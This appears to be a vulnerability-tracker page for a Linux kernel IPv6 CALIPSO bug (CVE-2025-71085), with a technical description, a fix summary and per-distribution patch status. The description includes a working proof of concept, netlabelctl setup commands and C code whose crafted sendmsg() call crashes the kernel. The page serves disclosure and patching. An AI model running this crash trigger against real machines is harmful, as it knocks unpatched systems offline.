CVE-2025-71085

medium

Published 2026-03-02 · Modified 2026-03-09

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

5.5

Description

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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OS impact

SUSE Affected 1 release

Version	Status	Fixed in
—	Affected	—

AlmaLinux Fixed 2 releases

Version	Status	Fixed in
9	Fixed	`kernel-devel-matched-5.14.0-611.36.1.el9_7.aarch64.rpm`
8	Fixed	`kernel-rt-modules-4.18.0-553.111.1.rt7.452.el8_10.x86_64.rpm`

Debian Fixed 5 releases

Version	Status	Fixed in
trixie	Fixed	`6.12.69-1`
sid	Fixed	`6.18.5-1`
forky	Fixed	`6.18.5-1`
bullseye	Fixed	`5.10.249-1`
bookworm	Fixed	`6.1.162-1`

Red Hat Fixed 2 releases

Version	Status	Fixed in
9	Fixed	—
8	Fixed	—

Rocky Linux Fixed 2 releases

Version	Status	Fixed in
9	Fixed	—
8	Fixed	—

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.